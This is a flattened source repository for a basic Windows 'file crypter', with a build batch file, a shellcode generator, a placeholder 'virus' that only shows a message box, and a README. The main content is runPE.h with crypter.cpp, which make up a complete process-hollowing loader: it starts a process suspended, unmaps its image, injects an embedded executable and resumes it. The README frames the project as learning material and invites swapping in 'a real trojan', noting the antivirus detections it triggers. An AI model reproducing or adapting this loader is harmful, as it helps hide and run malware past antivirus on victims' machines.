├── MinGW Builder.bat ├── OriginalVirus.c ├── README.md ├── ShellcodeGenerator.c ├── crypter.cpp ├── executables ├── CryptedVirus.exe ├── OriginalVirus.exe └── ShellcodeGenerator.exe ├── extras └── enumerateprocs.cpp └── runPE.h /MinGW Builder.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | SET ROOTDRIVE=%SystemDrive% 3 | SET MINGWDIR=MINGW 4 | SET MINGWBIN=BIN 5 | SET GCCCOMPILER=GCC.EXE 6 | SET GPPCOMPILER=G++.EXE 7 | 8 | SET GCC=%ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\%GCCCOMPILER% 9 | SET GPP=%ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\%GPPCOMPILER% 10 | 11 | ECHO GCC COMPILER = %GCC% 12 | ECHO G++ COMPILER = %GPP% 13 | 14 | ECHO Copy Libs To Local Path (%CD%) 15 | 16 | COPY %ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\libgmp-10.dll %CD% 17 | COPY %ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\libgcc_s_dw2-1.dll %CD% 18 | COPY %ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\libmpc-3.dll %CD% 19 | COPY %ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\libmpfr-4.dll %CD% 20 | COPY %ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\zlib1.dll %CD% 21 | COPY %ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\libintl-8.dll %CD% 22 | COPY %ROOTDRIVE%\%MINGWDIR%\%MINGWBIN%\libiconv-2.dll %CD% 23 | 24 | echo Compiling OriginalVirus.c SourceCode To OriginalVirus.Exe.... 25 | %GCC% OriginalVirus.c -o OriginalVirus.exe -lmsvcrt -luser32 26 | 27 | echo Compiling ShellCode Generator SourceCode To ShellcodeGenerator.Exe.... 28 | %GCC% ShellcodeGenerator.c -o ShellcodeGenerator.exe -lmsvcrt 29 | 30 | echo Converting OriginalVirus.Exe to ShellCode in ShellCode.h 31 | ShellcodeGenerator.exe OriginalVirus.exe shellcode >shellcode.h 32 | 33 | echo Building Crypted Executable.... 34 | %GPP% crypter.cpp -o CryptedVirus.exe -static -s -O5 35 | 36 | echo Cleaning Up Temp Files... 37 | 38 | DEL %CD%\libgmp-10.dll 39 | DEL %CD%\libgcc_s_dw2-1.dll 40 | DEL %CD%\libmpc-3.dll 41 | DEL %CD%\libmpfr-4.dll 42 | DEL %CD%\zlib1.dll 43 | DEL %CD%\libintl-8.dll 44 | DEL %CD%\libiconv-2.dll 45 | DEL %CD%\ShellCode.h -------------------------------------------------------------------------------- /OriginalVirus.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | 6 | char* title = "Virus...."; 7 | char* message = "I am an Evil Virus!!!"; 8 | 9 | MessageBox(NULL, message, title, MB_OK | MB_ICONEXCLAMATION ); 10 | return 0; 11 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #Process Hollowing used in many file Crypters (C/C++) 2 | This project takes the Process Hollowing to the next level in an attempt to create something more like a 'crypter' (without the actual encryption or encoding, which will be added later in another project) 3 | 4 | Initially, the aim here is more about understanding the methods used, rather then to create actual encoders/encrypters, but over time this will happen also. 5 | 6 | #ShellcodeGenerator.c 7 | ShellcodeGenerator.c takes an executable as an input argument, and converts it into ShellCode (or ByteCode/Hexadecimal, whatever you prefer) 8 | A new .h header-file will be created called ShellCode.h, which contains an array with the shellcode of the executable, and the calculated size of that. 9 | 10 | #runPE.h 11 | runPE.h contains a class called runPE which has a void function called run, that takes two arguments, this will convert the shellcode.h file to an executable state again, and runs it in the context of the original process (crypter.cpp) 12 | 13 | #crypter.cpp 14 | Crypter.cpp contains the shellcode.h, which it will execute from memory through the runPE class 15 | 16 | #OriginalVirus.c 17 | Is just a simple Hello-World C-SourceFile, which is used instead of a virus to prevent harm to computers, if you want to test this on a real trojan, you can edit the batchfile to your needs, it should be pretty straightforward. 18 | 19 | #MinGW Builder.bat: 20 | The batch file will compile, all the projects using the [MinGW-compiler](http://www.mingw.org/) for windows 21 | 22 | #Note 23 | This repository contains no actual malicious code of any kind, however, the example file CryptedVirus.exe in the executables folder, has a Detection ratio of 24 / 55 on virustotal [as you can see here] (https://www.virustotal.com/en-gb/file/88d762cc978932e939bb5936956eb3cfb8826b2611705dbb02fa437b4e29193a/analysis/1438197026/) 24 | 25 | These are false-positives are the result of heuristic virus-scanners, they flag some of the used winapi's as 'malicous' because in the past malware like for instance Zeus/ZBot have also used these methods 26 | -------------------------------------------------------------------------------- /ShellcodeGenerator.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main( int argc, char *argv[] ) 5 | { 6 | 7 | FILE *f; 8 | int i, c; 9 | char *arr_name; 10 | 11 | if (argc < 2) 12 | { 13 | fprintf(stderr, "Usage: %s input_file [array_name] [> output_file]\n", argv[0]); 14 | return 1; 15 | } 16 | 17 | f = fopen(argv[1], "rb"); 18 | if (f == NULL) 19 | { 20 | fprintf(stderr, "%s: fopen(%s) failed", argv[0], argv[1]); 21 | return 1; 22 | } 23 | 24 | if (argc >= 3) 25 | { 26 | arr_name = argv[2]; 27 | } 28 | else 29 | { 30 | arr_name = "filedata"; 31 | } 32 | 33 | printf("unsigned char %s[] = {", arr_name); 34 | 35 | for ( i = 0;;i++ ) 36 | { 37 | if ((c = fgetc(f)) == EOF) break; 38 | if (i != 0) printf(","); 39 | if ((i % 12) == 0) printf("\n\t"); 40 | printf( "0x%.2X", ( unsigned char ) c ); 41 | } 42 | 43 | printf( "\n\t};\n" ); 44 | printf( "unsigned int size = %i;", i ); 45 | fclose(f); 46 | 47 | return 0; 48 | } -------------------------------------------------------------------------------- /crypter.cpp: -------------------------------------------------------------------------------- 1 | ////////////////////////////////////////////////////////////////////////////////// 2 | // CRYPTER.CPP - Process Hollowing Example (Does no actual Encoding/Encryption) 3 | ////////////////////////////////////////////////////////////////////////////////// 4 | 5 | #include // Include Windows API functions & macros 6 | #include "runPE.h" // Header file with runPE Class and run Function (to run shellcode.h in memory) 7 | #include "shellcode.h" // Contains the executable file to run in Memory as ShellCode (or ByteCode / Hexadecimal / 0x00) 8 | 9 | int main() // Entrypoint 10 | { 11 | runPE rp; //Instantiate Object with name "rp" from runPE Class found in runPE.h 12 | 13 | TCHAR szFilePath[1024]; // Pointer to buffer that receives path to the module 14 | // FileName Buffer size in characters [1024] 15 | 16 | /* GetModuleFileNameEx function - Retrieves the fully qualified path for the file containing the specified module. 17 | 18 | DWORD WINAPI GetModuleFileNameEx( _In_ HANDLE hProcess, 19 | _In_opt_ HMODULE hModule, 20 | _Out_ LPTSTR lpFilename, 21 | _In_ DWORD nSize ); 22 | 23 | hProcess [in] - A handle to the process that contains the module. 24 | The handle must have the PROCESS_QUERY_INFORMATION and PROCESS_VM_READ access rights. 25 | 26 | hModule [in, optional] - A handle to the module. If this parameter is NULL, 27 | GetModuleFileNameEx returns the path of the executable file of the process specified in hProcess. 28 | 29 | lpFilename [out] - A pointer to a buffer that receives the fully qualified path to the module. 30 | 31 | nSize [in] - The size of the lpFilename buffer, in characters. */ 32 | 33 | GetModuleFileNameA ( // Retrieves the fully qualified path for the file containing the specified module. 34 | 0, // A handle to the process that contains the module. 35 | LPSTR ( szFilePath ), // Filename 36 | 1024 // Size 37 | ); 38 | 39 | rp.run(LPSTR (szFilePath), shellcode); // void runPE::run(LPSTR szFilePath, PVOID pFile) 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /executables/CryptedVirus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m0n0ph1/Basic-File-Crypter/4880b2efd894ccfd88639c0ff8da0cacdb9fa5a2/executables/CryptedVirus.exe -------------------------------------------------------------------------------- /executables/OriginalVirus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m0n0ph1/Basic-File-Crypter/4880b2efd894ccfd88639c0ff8da0cacdb9fa5a2/executables/OriginalVirus.exe -------------------------------------------------------------------------------- /executables/ShellcodeGenerator.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m0n0ph1/Basic-File-Crypter/4880b2efd894ccfd88639c0ff8da0cacdb9fa5a2/executables/ShellcodeGenerator.exe -------------------------------------------------------------------------------- /extras/enumerateprocs.cpp: -------------------------------------------------------------------------------- 1 | #pragma comment(lib, "psapi") 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | // To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS 9 | // and compile with -DPSAPI_VERSION=1 10 | 11 | /* 12 | This example is broken and my cause Access Violation error: 13 | 14 | If runned more then 1024 processes, EnumProcessModules put to cbNeeded number of bytes required to store all process handles. 15 | This value will be greater then sizeof(aProcesses). 16 | 17 | In this case occures out of range in the loop. 18 | */ 19 | 20 | int PrintModules( DWORD processID ) 21 | { 22 | HMODULE hMods[1024]; 23 | HANDLE hProcess; 24 | DWORD cbNeeded; 25 | unsigned int i; 26 | 27 | // Print the process identifier. 28 | 29 | printf( "\nProcess ID: %u\n", processID ); 30 | 31 | // Get a handle to the process. 32 | 33 | hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | 34 | PROCESS_VM_READ, 35 | FALSE, processID ); 36 | if (NULL == hProcess) 37 | return 1; 38 | 39 | // Get a list of all the modules in this process. 40 | 41 | if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) 42 | { 43 | for ( i = 0; i < (cbNeeded / sizeof(HMODULE)); i++ ) 44 | { 45 | TCHAR szModName[MAX_PATH]; 46 | 47 | // Get the full path to the module's file. 48 | 49 | if ( GetModuleFileNameEx( hProcess, hMods[i], szModName, 50 | sizeof(szModName) / sizeof(TCHAR))) 51 | { 52 | // Print the module name and handle value. 53 | 54 | _tprintf( TEXT("\t%s (0x%08X)\n"), szModName, hMods[i] ); 55 | } 56 | } 57 | } 58 | 59 | // Release the handle to the process. 60 | 61 | CloseHandle( hProcess ); 62 | 63 | return 0; 64 | } 65 | 66 | int main( void ) 67 | { 68 | 69 | DWORD aProcesses[1024]; 70 | DWORD cbNeeded; 71 | DWORD cProcesses; 72 | unsigned int i; 73 | 74 | // Get the list of process identifiers. 75 | 76 | if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) 77 | return 1; 78 | 79 | // Calculate how many process identifiers were returned. 80 | 81 | cProcesses = cbNeeded / sizeof(DWORD); 82 | 83 | // Print the names of the modules for each process. 84 | 85 | for ( i = 0; i < cProcesses; i++ ) 86 | { 87 | PrintModules( aProcesses[i] ); 88 | } 89 | 90 | return 0; 91 | } -------------------------------------------------------------------------------- /runPE.h: -------------------------------------------------------------------------------- 1 | typedef LONG ( WINAPI *NtUnmapViewOfSection) ( HANDLE ProcessHandle, PVOID BaseAddress ); 2 | // typedef LONG (__stdcall *NtUnmapViewOfSection) ( HANDLE ProcessHandle, PVOID BaseAddress ); 3 | 4 | /* The ZwUnmapViewOfSection routine unmaps a view of a section from the virtual address space of a subject process. 5 | 6 | SYNTAX: 7 | NTSTATUS ZwUnmapViewOfSection( _In_ HANDLE ProcessHandle, 8 | _In_opt_ PVOID BaseAddress ); 9 | 10 | PARAMETERS: 11 | ProcessHandle [in] Handle to a process object that was previously passed to ZwMapViewOfSection. 12 | 13 | BaseAddress [in, optional] Pointer to the base virtual address of the view to unmap. 14 | This value can be any virtual address within the view. 15 | 16 | RETURN VALUE: ZwUnmapViewOfSection returns an NTSTATUS value. 17 | STATUS_SUCCESS The routine successfully performed the requested operation. 18 | STATUS_ACCESS_DENIED The caller does not have access rights to the process object or to the base virtual address of the view. 19 | 20 | REMARKS: This routine unmaps the entire view of the section that contains BaseAddress from the virtual address space 21 | of the specified process—even if BaseAddress does not point to the beginning of the view. 22 | 23 | On return from ZwUnmapViewOfSection, the virtual-address region occupied by the view is no longer reserved 24 | and is available to map other views or private pages. If the view was also the last reference to the 25 | underlying section, all committed pages in the section are decommitted, and the section is deleted. 26 | 27 | NOTE: If the call to this function occurs in user mode, you should use the name "NtUnmapViewOfSection" 28 | instead of "ZwUnmapViewOfSection". */ 29 | 30 | class runPE 31 | { 32 | public: 33 | 34 | void run ( LPSTR szFilePath, PVOID pFile ) // Declares public void function "run" 35 | { 36 | 37 | PIMAGE_DOS_HEADER IDH; // DOS .EXE header 38 | PIMAGE_NT_HEADERS INH; // NT .EXE header 39 | PIMAGE_SECTION_HEADER ISH; // Section Header 40 | PROCESS_INFORMATION PI; // Process Information 41 | STARTUPINFOA SI; // Start Up Information 42 | PCONTEXT CTX; // Context Frame 43 | PDWORD dwImageBase; 44 | NtUnmapViewOfSection xNtUnmapViewOfSection; 45 | LPVOID pImageBase; 46 | int Count; 47 | 48 | IDH = PIMAGE_DOS_HEADER(pFile); 49 | 50 | if (IDH->e_magic == IMAGE_DOS_SIGNATURE) 51 | { 52 | INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); 53 | 54 | if (INH->Signature == IMAGE_NT_SIGNATURE) 55 | { 56 | RtlZeroMemory(&SI, sizeof(SI)); 57 | RtlZeroMemory(&PI, sizeof(PI)); 58 | 59 | if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) 60 | { 61 | CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); 62 | CTX->ContextFlags = CONTEXT_FULL; 63 | 64 | if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) 65 | { 66 | ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); 67 | 68 | if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) 69 | { 70 | xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection")); 71 | xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); 72 | } 73 | 74 | pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); 75 | 76 | if (pImageBase) 77 | { 78 | WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL); 79 | 80 | for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) 81 | { 82 | ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40)); 83 | WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL); 84 | } 85 | 86 | WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL); 87 | CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; 88 | SetThreadContext(PI.hThread, LPCONTEXT(CTX)); 89 | ResumeThread(PI.hThread); 90 | 91 | } 92 | } 93 | } 94 | } 95 | } 96 | VirtualFree(pFile, 0, MEM_RELEASE); 97 | } 98 | }; 99 | --------------------------------------------------------------------------------